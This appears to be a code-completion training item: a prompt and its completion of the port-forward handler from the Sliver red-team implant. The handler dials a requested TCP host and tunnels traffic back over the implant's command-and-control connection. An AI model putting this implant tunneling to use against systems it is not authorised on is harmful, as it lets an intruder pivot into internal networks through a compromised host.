You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: portfwd_handler.go
    path of file: ./repos/sliver/implant/sliver/handlers/tunnel_handlers
    
    the code of the file until where you have to start completion: package tunnel_handlers

/*
	Sliver Implant Framework
	Copyright (C) 2022  Bishop Fox

	This program is free software: you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation, either version 3 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program.  If not, see <https://www.gnu.org/licenses/>.
*/

import (
	"context"
	"fmt"
	"io"
	"net"
	"sync"
	"time"

	// {{if .Config.Debug}}
	"log"

	// {{end}}

	"github.com/bishopfox/sliver/implant/sliver/transports"
	"github.com/bishopfox/sliver/protobuf/commonpb"
	"github.com/bishopfox/sliver/protobuf/sliverpb"
	"google.golang.org/protobuf/proto"
)

func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
	portfwdReq := &sliverpb.PortfwdReq{}
	err := proto.Unmarshal(envelope.Data, portfwdReq)
	if err != nil {
		// {{if .Config.Debug}}
		log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
		// {{end}}
		portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
			Response: &commonpb.Response{
				Err: err.Error(),
			},
		})
		reportError(envelope, connection, portfwdResp)
		return
	}

	var defaultDialer = new(net.Dialer)

	// TODO: Configurable context
	remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
	// {{if .Config.Debug}}
	log.Printf("[portfwd] Dialing -> %s", remoteAddress)
	// {{end}}

	ctx, cancelContext := context.WithCancel(context.Background())

	dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
	if err != nil {
		// {{if .Config.Debug}}
		log.Printf("[portfwd] Failed to dial remote address %s", err)
		// {{end}}
		cancelContext()
		portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
			Response: &commonpb.Response{
				Err: err.Error(),
			},
		})
		reportError(envelope, connection, portfwdResp)
		return
	}
	if conn, ok := dst.(*net.TCPConn); ok {
		// {{if .Config.Debug}}
		log.Printf("[portfwd] Configuring keep alive")
		// {{end}}
		conn.SetKeepAlive(true)
		// TODO
    
func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
	portfwdReq := &sliverpb.PortfwdReq{}
	err := proto.Unmarshal(envelope.Data, portfwdReq)
	if err != nil {
		// {{if .Config.Debug}}
		log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
		// {{end}}
		portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
			Response: &commonpb.Response{
				Err: err.Error(),
			},
		})
		reportError(envelope, connection, portfwdResp)
		return
	}

	var defaultDialer = new(net.Dialer)

	// TODO: Configurable context
	remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
	// {{if .Config.Debug}}
	log.Printf("[portfwd] Dialing -> %s", remoteAddress)
	// {{end}}

	ctx, cancelContext := context.WithCancel(context.Background())

	dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
	if err != nil {
		// {{if .Config.Debug}}
		log.Printf("[portfwd] Failed to dial remote address %s", err)
		// {{end}}
		cancelContext()
		portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
			Response: &commonpb.Response{
				Err: err.Error(),
			},
		})
		reportError(envelope, connection, portfwdResp)
		return
	}
	if conn, ok := dst.(*net.TCPConn); ok {
		// {{if .Config.Debug}}
		log.Printf("[portfwd] Configuring keep alive")
		// {{end}}
		conn.SetKeepAlive(true)
		// TODO: Make KeepAlive configurable
		conn.SetKeepAlivePeriod(30 * time.Second)
	}

	// Add tunnel
	// {{if .Config.Debug}}
	log.Printf("[portfwd] Creating tcp tunnel")
	// {{end}}
	tunnel := transports.NewTunnel(
		portfwdReq.TunnelID,
		dst,
		dst,
	)
	connection.AddTunnel(tunnel)

	// Send portfwd response
	portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
		Port:     portfwdReq.Port,
		Host:     portfwdReq.Host,
		Protocol: sliverpb.PortFwdProtoTCP,
		TunnelID: portfwdReq.TunnelID,
	})
	connection.Send <- &sliverpb.Envelope{
		ID:   envelope.ID,
		Data: portfwdResp,
	}

	once := sync.Once{}
	cleanup := func(reason error) {
		once.Do(func() {
			// {{if .Config.Debug}}
			log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
			// {{end}}
			cleanupTunnel := connection.Tunnel(tunnel.ID)
			if cleanupTunnel == nil {
				return
			}

			tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
				Closed:   true,
				TunnelID: cleanupTunnel.ID,
			})
			connection.Send <- &sliverpb.Envelope{
				Type: sliverpb.MsgTunnelClose,
				Data: tunnelClose,
			}
			connection.RemoveTunnel(cleanupTunnel.ID)
			if dst != nil {
				dst.Close()
			}
			cancelContext()
		})
	}

	go func() {
		tWriter := tunnelWriter{
			tun:  tunnel,
			conn: connection,
		}
		// portfwd only uses one reader, hence the tunnel.Readers[0]
		n, err := io.Copy(tWriter, tunnel.Readers[0])
		_ = n // avoid not used compiler error if debug mode is disabled
		// {{if .Config.Debug}}
		log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
		// {{end}}

		cleanup(err)
	}()
}